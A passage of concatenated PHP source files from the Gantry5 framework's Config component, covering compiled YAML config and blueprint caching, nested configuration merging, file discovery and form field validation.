$this->finalizeObject();
return true;
}
/**
* Load compiled file.
*
* @param string $filename
* @return bool
* @internal
*/
protected function loadCompiledFile($filename)
{
$gantry = Gantry::instance();
/** @var Config $global */
$global = $gantry['global'];
if (!$global->get('compile_yaml', 1)) {
return false;
}
if (!file_exists($filename)) {
return false;
}
$cache = include $filename;
if (
!is_array($cache)
|| !isset($cache['checksum'])
|| !isset($cache['data'])
|| !isset($cache['@class'])
|| $cache['@class'] != get_class($this)
) {
return false;
}
// Load real file if cache isn't up to date (or is invalid).
if ($cache['checksum'] !== $this->checksum()) {
return false;
}
$this->createObject($cache['data']);
$this->finalizeObject();
return true;
}
/**
* Save compiled file.
*
* @param string $filename
* @throws \RuntimeException
* @internal
*/
protected function saveCompiledFile($filename)
{
$gantry = Gantry::instance();
/** @var Config $global */
$global = $gantry['global'];
if (!$global->get('compile_yaml', 1)) {
return;
}
$file = PhpFile::instance($filename);
// Attempt to lock the file for writing.
try {
$file->lock(false);
} catch (\Exception $e) {
// Another process has locked the file; we will check this in a
bit.
}
if ($file->locked() === false) {
// File was already locked by another process.
return;
}
$cache = [
'@class' => get_class($this),
'timestamp' => time(),
'checksum' => $this->checksum(),
'files' => $this->files,
'data' => $this->getState()
];
$file->save($cache);
$file->unlock();
$file->free();
$this->modified();
}
protected function getState()
{
return $this->object->toArray();
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
/**
* The Compiled Blueprints class.
*/
class CompiledBlueprints extends CompiledBase
{
/**
* @var int Version number for the compiled file.
*/
public $version = 3;
/**
* @var BlueprintSchema Blueprints object.
*/
protected $object;
/**
* Create configuration object.
*
* @param array $data
*/
protected function createObject(array $data = [])
{
$this->object = new BlueprintSchema($data);
}
/**
* Finalize configuration object.
*/
protected function finalizeObject()
{
}
/**
* Load single configuration file and append it to the correct
position.
*
* @param string $name Name of the position.
* @param array $files Files to be loaded.
*/
protected function loadFile($name, $files)
{
// Load blueprint file.
$blueprint = new BlueprintForm($files);
$this->object->embed($name,
$blueprint->load()->toArray(), '/', true);
}
/**
* Load and join all configuration files.
*
* @return bool
* @internal
*/
protected function loadFiles()
{
$this->createObject();
// Convert file list into parent list.
$list = [];
foreach ($this->files as $files) {
foreach ($files as $name => $item) {
$list[$name][] = $this->path . $item['file'];
}
}
// Load files.
foreach ($list as $name => $files) {
$this->loadFile($name, $files);
}
$this->finalizeObject();
return true;
}
protected function getState()
{
return $this->object->getState();
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
use Gantry\Component\File\CompiledYamlFile;
/**
* The Compiled Configuration class.
*/
class CompiledConfig extends CompiledBase
{
/**
* @var int Version number for the compiled file.
*/
public $version = 2;
/**
* @var Config Configuration object.
*/
protected $object;
/**
* @var callable Blueprints loader.
*/
protected $callable;
/**
* @var bool
*/
protected $withDefaults;
/**
* Get filename for the compiled PHP file.
*
* @param string $name
* @return $this
*/
public function name($name = null)
{
if (!$this->name) {
$this->name = $name ?:
md5(json_encode(array_keys($this->files)) . (int)
$this->withDefaults);
}
return $this;
}
/**
* Set blueprints for the configuration.
*
* @param callable $blueprints
* @return $this
*/
public function setBlueprints(callable $blueprints)
{
$this->callable = $blueprints;
return $this;
}
/**
* @param bool $withDefaults
* @return mixed
*/
public function load($withDefaults = false)
{
$this->withDefaults = $withDefaults;
return parent::load();
}
/**
* Create configuration object.
*
* @param array $data
*/
protected function createObject(array $data = [])
{
if ($this->withDefaults && empty($data) &&
is_callable($this->callable)) {
$blueprints = $this->callable;
$data = $blueprints()->getDefaults();
}
$this->object = new Config($data, $this->callable);
}
/**
* Finalize configuration object.
*/
protected function finalizeObject()
{
}
/**
* Load single configuration file and append it to the correct
position.
*
* @param string $name Name of the position.
* @param string $filename File to be loaded.
*/
protected function loadFile($name, $filename)
{
$file = CompiledYamlFile::instance($filename);
$this->object->join($name, $file->content(),
'/');
$file->free();
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;
/**
* The Config class contains configuration information.
*
* @author RocketTheme
*/
class Config implements \ArrayAccess, \Countable, \Iterator,
ExportInterface
{
use NestedArrayAccessWithGetters, Iterator, Export;
/**
* @var array
*/
protected $items;
/**
* @var BlueprintSchema|BlueprintForm|callable
*/
protected $blueprint;
/**
* Constructor to initialize array.
*
* @param array $items Initial items inside the iterator.
* @param callable $blueprints Function to load Blueprints for the
configuration.
*/
public function __construct(array $items, callable $blueprint = null)
{
$this->items = $items;
$this->blueprint = $blueprint;
}
/**
* Join nested values together by using blueprints.
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $value Value to be joined.
* @param string $separator Separator, defaults to '.'
* @return $this
* @throws \RuntimeException
*/
public function join($name, $value, $separator = '.')
{
$old = $this->get($name, null, $separator);
if ($old !== null) {
if (!is_array($old)) {
throw new \RuntimeException("Value is not array in
{$name}: " . print_r($old, true));
}
if (is_object($value)) {
$value = (array) $value;
} elseif (!is_array($value)) {
throw new \RuntimeException("Value is not array in
{$name}: " . print_r($value, true));
}
$value = $this->blueprint()->mergeData($old, $value,
$name, $separator);
}
$this->set($name, $value, $separator);
return $this;
}
/**
* Get nested structure containing default values defined in the
blueprints.
*
* Fields without default value are ignored in the list.
* @return array
*/
public function getDefaults()
{
return $this->blueprint()->getDefaults();
}
/**
* Set default values by using blueprints.
*
* @param string $name Dot separated path to the requested
value.
* @param mixed $value Value to be joined.
* @param string $separator Separator, defaults to '.'
* @return $this
*/
public function joinDefaults($name, $value, $separator = '.')
{
if (is_object($value)) {
$value = (array) $value;
}
$old = $this->get($name, null, $separator);
if ($old !== null) {
$value = $this->blueprint()->mergeData($value, $old,
$name, $separator);
}
$this->set($name, $value, $separator);
return $this;
}
/**
* Get value from the configuration and join it with given data.
*
* @param string $name Dot separated path to the requested
value.
* @param array $value Value to be joined.
* @param string $separator Separator, defaults to '.'
* @return array
* @throws \RuntimeException
*/
public function getJoined($name, $value, $separator = '.')
{
if (is_object($value)) {
$value = (array) $value;
} elseif (!is_array($value)) {
throw new \RuntimeException("Value is not array in
'{$name}': " . print_r($value, true));
}
$old = $this->get($name, null, $separator);
if ($old === null) {
// No value set; no need to join data.
return $value;
}
if (!is_array($old)) {
throw new \RuntimeException("Value is not array in
'{$name}': " . print_r($value, true));
}
// Return joined data.
return $this->blueprint()->mergeData($old, $value, $name,
$separator);
}
/**
* Merge two configurations together.
*
* @param array $data
* @return $this
*/
public function merge(array $data)
{
$this->items =
$this->blueprint()->mergeData($this->items, $data);
return $this;
}
/**
* Set default values to the configuration if variables were not set.
*
* @param array $data
* @return $this
*/
public function setDefaults(array $data)
{
$this->items = $this->blueprint()->mergeData($data,
$this->items);
return $this;
}
/**
* Make a flat list from the configuration.
*
* @param string $name Dot separated path to the requested value.
* @param string $separator Separator, defaults to '.'
* @param string $prefix Name prefix.
* @return array
*/
public function flatten($name = null, $separator = '.',
$prefix = '')
{
$element = $name ? $this->offsetGet($name) : $this->items;
if (!is_array($element)) {
return [$name, $element];
}
if (strlen($separator) == 2 && in_array($separator,
['][', ')(', '}{'])) {
$separator = [$separator[1], $separator[0]];
}
return $this->flattenNested('', $element, $separator,
$prefix);
}
/**
* @param string $name
* @param array $element
* @param string $separator
* @param string $prefix
* @return array
* @internal
*/
protected function flattenNested($name, &$element, $separator,
$prefix)
{
$list = [];
foreach ($element as $key => $value) {
$new = $name ? $name : $prefix;
if (is_array($separator)) {
$new .= $separator[0] . $key . $separator[1];
} else {
$new .= ($new ? $separator : '') . $key;
}
if (!is_array($value) || empty($value)) {
$list[$new] = $value;
} else {
$list += $this->flattenNested($new, $value, $separator,
$prefix);
}
}
return $list;
}
/**
* Return blueprint.
*
* @return BlueprintSchema|BlueprintForm
* @since 5.4.7
*/
public function blueprint()
{
if (!$this->blueprint){
$this->blueprint = new BlueprintSchema;
} elseif (is_callable($this->blueprint)) {
// Lazy load blueprints.
$blueprint = $this->blueprint;
$this->blueprint = $blueprint();
}
return $this->blueprint;
}
/**
* Return blueprints.
*
* @return BlueprintSchema
* @deprecated 5.4.7
*/
public function blueprints()
{
return $this->blueprint();
}
/**
* Count items in nested array.
*
* @param string $path
* @param string $separator
* @return int
*/
public function count($path = null, $separator = '.')
{
$items = $path ? $this->get($path, null, $separator) :
$this->items;
return is_array($items) ? count($items) : 0;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
use Gantry\Component\Filesystem\Folder;
/**
* The Configuration & Blueprints Finder class.
*/
class ConfigFileFinder
{
protected $base = '';
/**
* @param string $base
* @return $this
*/
public function setBase($base)
{
$this->base = $base ? "{$base}/" : '';
return $this;
}
/**
* Return all locations for all the files with a timestamp.
*
* @param array $paths List of folders to look from.
* @param string $pattern Pattern to match the file. Pattern will
also be removed from the key.
* @param int $levels Maximum number of recursive directories.
* @return array
*/
public function locateFiles(array $paths, $pattern =
'|\.yaml$|', $levels = -1)
{
$list = [];
foreach ($paths as $folder) {
$list += $this->detectRecursive($folder, $pattern, $levels);
}
return $list;
}
/**
* Return all locations for all the files with a timestamp.
*
* @param array $paths List of folders to look from.
* @param string $pattern Pattern to match the file. Pattern will
also be removed from the key.
* @param int $levels Maximum number of recursive directories.
* @return array
*/
public function getFiles(array $paths, $pattern =
'|\.yaml$|', $levels = -1)
{
$list = [];
foreach ($paths as $folder) {
$path = trim(Folder::getRelativePath($folder), '/');
$files = $this->detectRecursive($folder, $pattern, $levels);
$list += $files[trim($path, '/')];
}
return $list;
}
/**
* Return all paths for all the files with a timestamp.
*
* @param array $paths List of folders to look from.
* @param string $pattern Pattern to match the file. Pattern will
also be removed from the key.
* @param int $levels Maximum number of recursive directories.
* @return array
*/
public function listFiles(array $paths, $pattern =
'|\.yaml$|', $levels = -1)
{
$list = [];
foreach ($paths as $folder) {
$list = array_merge_recursive($list,
$this->detectAll($folder, $pattern, $levels));
}
return $list;
}
/**
* Find filename from a list of folders.
*
* Note: Only finds the last override.
*
* @param string $filename
* @param array $folders
* @return array
*/
public function locateFileInFolder($filename, array $folders)
{
$list = [];
foreach ($folders as $folder) {
$list += $this->detectInFolder($folder, $filename);
}
return $list;
}
/**
* Find filename from a list of folders.
*
* @param array $folders
* @param string $filename
* @return array
*/
public function locateInFolders(array $folders, $filename = null)
{
$list = [];
foreach ($folders as $folder) {
$path = trim(Folder::getRelativePath($folder), '/');
$list[$path] = $this->detectInFolder($folder, $filename);
}
return $list;
}
/**
* Return all existing locations for a single file with a timestamp.
*
* @param array $paths Filesystem paths to look up from.
* @param string $name Configuration file to be located.
* @param string $ext File extension (optional, defaults to
.yaml).
* @return array
*/
public function locateFile(array $paths, $name, $ext =
'.yaml')
{
$filename = preg_replace('|[.\/]+|', '/',
$name) . $ext;
$list = [];
foreach ($paths as $folder) {
$path = trim(Folder::getRelativePath($folder), '/');
if (is_file("{$folder}/{$filename}")) {
$modified = filemtime("{$folder}/{$filename}");
} else {
$modified = 0;
}
$basename = $this->base . $name;
$list[$path] = [$basename => ['file' =>
"{$path}/{$filename}", 'modified' => $modified]];
}
return $list;
}
/**
* Detects all directories with a configuration file and returns them
with last modification time.
*
* @param string $folder Location to look up from.
* @param string $pattern Pattern to match the file. Pattern will
also be removed from the key.
* @param int $levels Maximum number of recursive directories.
* @return array
* @internal
*/
protected function detectRecursive($folder, $pattern, $levels)
{
$path = trim(Folder::getRelativePath($folder), '/');
if (is_dir($folder)) {
// Find all system and user configuration files.
$options = [
'levels' => $levels,
'compare' => 'Filename',
'pattern' => $pattern,
'filters' => [
'pre-key' => $this->base,
'key' => $pattern,
'value' => function
(\RecursiveDirectoryIterator $file) use ($path) {
return ['file' =>
"{$path}/{$file->getSubPathname()}", 'modified'
=> $file->getMTime()];
}
],
'key' => 'SubPathname'
];
$list = Folder::all($folder, $options);
ksort($list);
} else {
$list = [];
}
return [$path => $list];
}
/**
* Detects all directories with the lookup file and returns them with
last modification time.
*
* @param string $folder Location to look up from.
* @param string $lookup Filename to be located (defaults to directory
name).
* @return array
* @internal
*/
protected function detectInFolder($folder, $lookup = null)
{
$folder = rtrim($folder, '/');
$path = trim(Folder::getRelativePath($folder), '/');
$base = $path === $folder ? '' : ($path ? substr($folder,
0, -strlen($path)) : $folder . '/');
$list = [];
if (is_dir($folder)) {
$iterator = new \DirectoryIterator($folder);
/** @var \DirectoryIterator $directory */
foreach ($iterator as $directory) {
if (!$directory->isDir() || $directory->isDot()) {
continue;
}
$name = $directory->getBasename();
$find = ($lookup ?: $name) . '.yaml';
$filename = "{$path}/{$name}/{$find}";
if (file_exists($base . $filename)) {
$basename = $this->base . $name;
$list[$basename] = ['file' => $filename,
'modified' => filemtime($base . $filename)];
}
}
}
return $list;
}
/**
* Detects all plugins with a configuration file and returns them with
last modification time.
*
* @param string $folder Location to look up from.
* @param string $pattern Pattern to match the file. Pattern will
also be removed from the key.
* @param int $levels Maximum number of recursive directories.
* @return array
* @internal
*/
protected function detectAll($folder, $pattern, $levels)
{
$path = trim(Folder::getRelativePath($folder), '/');
if (is_dir($folder)) {
// Find all system and user configuration files.
$options = [
'levels' => $levels,
'compare' => 'Filename',
'pattern' => $pattern,
'filters' => [
'pre-key' => $this->base,
'key' => $pattern,
'value' => function
(\RecursiveDirectoryIterator $file) use ($path) {
return
["{$path}/{$file->getSubPathname()}" =>
$file->getMTime()];
}
],
'key' => 'SubPathname'
];
$list = Folder::all($folder, $options);
ksort($list);
} else {
$list = [];
}
return $list;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
use Symfony\Component\Yaml\Exception\ParseException;
use Symfony\Component\Yaml\Yaml;
/**
* Data validation.
*
* @author RocketTheme
* @license MIT
*/
class Validation
{
/**
* Validate value against a blueprint field definition.
*
* @param $value
* @param array $field
* @return array
*/
public static function validate($value, array $field)
{
$messages = [];
$validate = isset($field['validate']) ? (array)
$field['validate'] : [];
// If value isn't required, we will stop validation if empty
value is given.
if (empty($validate['required']) && ($value ===
null || $value === '')) {
return $messages;
}
if (!isset($field['type'])) {
$field['type'] = 'input.text';
}
// Special case for files, value is never empty and errors with
code 4 instead.
if (empty($validate['required']) &&
$field['type'] === 'input.file' &&
isset($value['error'])
&& ($value['error'] ===
UPLOAD_ERR_NO_FILE || \in_array(UPLOAD_ERR_NO_FILE,
$value['error'], true))) {
return $messages;
}
// Validate type with fallback type text.
$type = (string)
isset($field['validate']['type']) ?
$field['validate']['type'] : $field['type'];
$method = 'type_'.strtr($type, '-.',
'__');
if (!method_exists(__CLASS__, $method)) {
$method = 'type_Input_Text';
}
$name = ucfirst(isset($field['label']) ?
$field['label'] : $field['name']);
// TODO: translate
$message = (string)
isset($field['validate']['message'])
? sprintf($field['validate']['message'])
: sprintf('Invalid input in field: ') . '
"' . $name . '"';
$success = self::$method($value, $validate, $field);
if (!$success) {
$messages[$field['name']][] = $message;
}
// Check individual rules.
foreach ($validate as $rule => $params) {
$method = 'validate_' . ucfirst(strtr($rule,
'-.', '__'));
if (method_exists(__CLASS__, $method)) {
$success = self::$method($value, $params);
if (!$success) {
$messages[$field['name']][] = $message;
}
}
}
return $messages;
}
/**
* Filter value against a blueprint field definition.
*
* @param mixed $value
* @param array $field
* @return mixed Filtered value.
*/
public static function filter($value, array $field)
{
$validate = isset($field['validate']) ? (array)
$field['validate'] : [];
// If value isn't required, we will return null if empty value
is given.
if (($value === null || $value === '') &&
empty($validate['required'])) {
return null;
}
if (!isset($field['type'])) {
$field['type'] = 'input.text';
}
// Special case for files, value is never empty and errors with
code 4 instead.
if (empty($validate['required']) &&
$field['type'] === 'input.file' &&
isset($value['error'])
&& ($value['error'] === UPLOAD_ERR_NO_FILE ||
\in_array(UPLOAD_ERR_NO_FILE, $value['error'], true))) {
return null;
}
// Validate type with fallback type text.
$type = (string)
isset($field['validate']['type']) ?
$field['validate']['type'] : $field['type'];
$method = 'filter_' . ucfirst(str_replace('-',
'_', $type));
if (!method_exists(__CLASS__, $method)) {
$method = 'filter_Input_Text';
}
return self::$method($value, $validate, $field);
}
/**
* HTML5 input: text
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Text($value, array $params, array
$field)
{
if (!\is_string($value) && !is_numeric($value)) {
return false;
}
$value = (string)$value;
if (isset($params['min']) && \strlen($value) <
$params['min']) {
return false;
}
if (isset($params['max']) && \strlen($value) >
$params['max']) {
return false;
}
$min = isset($params['min']) ? $params['min'] :
0;
if (isset($params['step']) && (strlen($value) -
$min) % $params['step'] === 0) {
return false;
}
if ((!isset($params['multiline']) ||
!$params['multiline']) && preg_match('/\R/um',
$value)) {
return false;
}
return true;
}
protected static function filter_Input_Text($value, array $params,
array $field)
{
return (string) $value;
}
protected static function filter_Input_CommaList($value, array $params,
array $field)
{
return \is_array($value) ? $value :
preg_split('/\s*,\s*/', $value, -1, PREG_SPLIT_NO_EMPTY);
}
protected static function type_Input_CommaList($value, array $params,
array $field)
{
return \is_array($value) ? true : self::type_Input_Text($value,
$params, $field);
}
/**
* HTML5 input: textarea
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Textarea_Textarea($value, array $params,
array $field)
{
if (!isset($params['multiline'])) {
$params['multiline'] = true;
}
return self::type_Input_Text($value, $params, $field);
}
/**
* HTML5 input: password
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Password($value, array $params, array
$field)
{
return self::type_Input_Text($value, $params, $field);
}
/**
* HTML5 input: hidden
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Hidden($value, array $params, array
$field)
{
return self::type_Input_Text($value, $params, $field);
}
/**
* Custom input: checkbox list
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Checkboxes_Checkboxes($value, array
$params, array $field)
{
// Set multiple: true so checkboxes can easily use min/max counts
to control number of options required
$field['multiple'] = true;
return self::typeArray((array) $value, $params, $field);
}
protected static function filter_Checkboxes_Checkboxes($value, array
$params, array $field)
{
return self::filterArray($value, $params, $field);
}
/**
* HTML5 input: checkbox
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Checkbox($value, array $params, array
$field)
{
$value = (string) $value;
if (!isset($field['value'])) {
$field['value'] = 1;
}
if ($value && $value != $field['value']) {
return false;
}
return true;
}
/**
* HTML5 input: radio
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Radio($value, array $params, array
$field)
{
return self::typeArray((array) $value, $params, $field);
}
/**
* Custom input: toggle
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Toggle_Toggle($value, array $params, array
$field)
{
return self::typeArray((array) $value, $params, $field);
}
/**
* Custom input: file
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_File($value, array $params, array
$field)
{
return self::typeArray((array) $value, $params, $field);
}
protected static function filter_Input_File($value, array $params,
array $field)
{
if (isset($field['multiple']) &&
$field['multiple'] === true) {
return (array) $value;
}
if (\is_array($value)) {
return reset($value);
}
return $value;
}
/**
* HTML5 input: select
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Select_Select($value, array $params, array
$field)
{
return self::typeArray((array) $value, $params, $field);
}
/**
* HTML5 input: number
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Number($value, array $params, array
$field)
{
if (!is_numeric($value)) {
return false;
}
if (isset($params['min']) && $value <
$params['min']) {
return false;
}
if (isset($params['max']) && $value >
$params['max']) {
return false;
}
$min = isset($params['min']) ? $params['min'] :
0;
return !(isset($params['step']) && fmod($value -
$min, $params['step']) === 0);
}
protected static function filter_Input_Number($value, array $params,
array $field)
{
return (string)(int)$value !== (string)(float)$value ? (float)
$value : (int) $value;
}
protected static function filter_Input_DateTime($value, array $params,
array $field)
{
$converted = new \DateTime($value);
return $converted->format('Y-m-d H:i:s');
}
/**
* HTML5 input: range
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Range($value, array $params, array
$field)
{
return self::type_Input_Number($value, $params, $field);
}
protected static function filter_Input_Range($value, array $params,
array $field)
{
return self::filter_Input_Number($value, $params, $field);
}
/**
* HTML5 input: color
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Color($value, array $params, array
$field)
{
return preg_match('/^\#[0-9a-fA-F]{3}[0-9a-fA-F]{3}?$/u',
$value);
}
/**
* HTML5 input: email
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Email($value, array $params, array
$field)
{
return self::type_Input_Text($value, $params, $field) &&
filter_var($value, FILTER_VALIDATE_EMAIL);
}
/**
* HTML5 input: url
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Url($value, array $params, array
$field)
{
return self::type_Input_Text($value, $params, $field) &&
filter_var($value, FILTER_VALIDATE_URL);
}
/**
* HTML5 input: datetime
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Datetime($value, array $params, array
$field)
{
if ($value instanceof \DateTime) {
return true;
}
if (!\is_string($value)) {
return false;
}
if (!isset($params['format'])) {
return false !== strtotime($value);
}
$dateFromFormat =
\DateTime::createFromFormat($params['format'], $value);
return $dateFromFormat && $value ===
date($params['format'], $dateFromFormat->getTimestamp());
}
/**
* HTML5 input: datetime-local
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_DatetimeLocal($value, array $params,
array $field)
{
return self::type_Input_Datetime($value, $params, $field);
}
/**
* HTML5 input: date
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Date($value, array $params, array
$field)
{
if (!isset($params['format'])) {
$params['format'] = 'Y-m-d';
}
return self::type_Input_Datetime($value, $params, $field);
}
/**
* HTML5 input: time
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Time($value, array $params, array
$field)
{
if (!isset($params['format'])) {
$params['format'] = 'H:i';
}
return self::type_Input_Datetime($value, $params, $field);
}
/**
* HTML5 input: month
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Month($value, array $params, array
$field)
{
if (!isset($params['format'])) {
$params['format'] = 'Y-m';
}
return self::type_Input_Datetime($value, $params, $field);
}
/**
* HTML5 input: week
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Input_Week($value, array $params, array
$field)
{
if (!isset($params['format']) &&
!preg_match('/^\d{4}-W\d{2}$/u', $value)) {
return false;
}
return self::type_Input_Datetime($value, $params, $field);
}
/**
* Custom input: array
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function typeArray($value, array $params, array $field)
{
if (!\is_array($value)) {
return false;
}
if (isset($field['multiple'])) {
if (isset($params['min']) && \count($value)
< $params['min']) {
return false;
}
if (isset($params['max']) && \count($value)
> $params['max']) {
return false;
}
$min = isset($params['min']) ?
$params['min'] : 0;
if (isset($params['step']) && (\count($value)
- $min) % $params['step'] === 0) {
return false;
}
}
$options = isset($field['options']) ?
array_keys($field['options']) : [];
$values = isset($field['use']) &&
$field['use'] === 'keys' ? array_keys($value) : $value;
return !($options && array_diff($values, $options));
}
protected static function filterArray($value, $params, $field)
{
$values = (array) $value;
$options = isset($field['options']) ?
array_keys($field['options']) : [];
$multi = isset($field['multiple']) ?
$field['multiple'] : false;
if (\count($values) === 1 && isset($values[0]) &&
$values[0] === '') {
return null;
}
if ($options) {
$useKey = isset($field['use']) &&
$field['use'] === 'keys';
foreach ($values as $key => $val) {
$values[$key] = $useKey ? (bool) $val : $val;
}
}
if ($multi) {
foreach ($values as $key => $val) {
if (\is_array($val)) {
$val = implode(',', $val);
}
$values[$key] = array_map('trim',
explode(',', $val));
}
}
return $values;
}
public static function type_Input_Yaml($value, $params)
{
try {
Yaml::parse($value);
return true;
} catch (ParseException $e) {
return false;
}
}
public static function filter_Input_Yaml($value, $params)
{
try {
return (array) Yaml::parse($value);
} catch (ParseException $e) {
return null;
}
}
/**
* Custom input: ignore (will not validate)
*
* @param mixed $value Value to be validated.
* @param array $params Validation parameters.
* @param array $field Blueprint for the field.
* @return bool True if validation succeeded.
*/
public static function type_Novalidate($value, array $params, array
$field)
{
return true;
}
public static function filter_Novalidate($value, array $params, array
$field)
{
return $value;
}
// HTML5 attributes (min, max and range are handled inside the types)
public static function validate_Required($value, $params)
{
if (is_scalar($value)) {
return (bool) $params !== true || $value !== '';
}
return (bool) $params !== true || !empty($value);
}
public static function validate_Pattern($value, $params)
{
return (bool) preg_match("`^{$params}$`u", $value);
}
// Internal types
public static function validate_Alpha($value, $params)
{
return ctype_alpha($value);
}
public static function validate_Alnum($value, $params)
{
return ctype_alnum($value);
}
public static function type_Bool($value, $params)
{
return \is_bool($value) || $value == 1 || $value == 0;
}
public static function validate_Bool($value, $params)
{
return \is_bool($value) || $value == 1 || $value == 0;
}
protected static function filter_Bool($value, $params)
{
return (bool) $value;
}
public static function validate_Digit($value, $params)
{
return ctype_digit($value);
}
public static function validate_Float($value, $params)
{
return \is_float(filter_var($value, FILTER_VALIDATE_FLOAT));
}
protected static function filter_Float($value, $params)
{
return (float) $value;
}
public static function validate_Hex($value, $params)
{
return ctype_xdigit($value);
}
public static function validate_Int($value, $params)
{
return is_numeric($value) && (int) $value == $value;
}
protected static function filter_Int($value, $params)
{
return (int) $value;
}
public static function validate_Array($value, $params)
{
return \is_array($value)
|| ($value instanceof \ArrayAccess
&& $value instanceof \Traversable
&& $value instanceof \Countable);
}
public static function validate_Json($value, $params)
{
return (bool) (@json_decode($value));
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
class ValidationException extends \RuntimeException
{
protected $messages = [];
public function setMessages(array $messages = []) {
$this->messages = $messages;
// TODO: add translation.
$this->message = sprintf('Form validation failed:') .
' ' . $this->message;
foreach ($messages as $variable => &$list) {
$list = array_unique($list);
foreach ($list as $message) {
$this->message .= "<br/>$message";
}
}
return $this;
}
public function getMessages()
{
return $this->messages;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
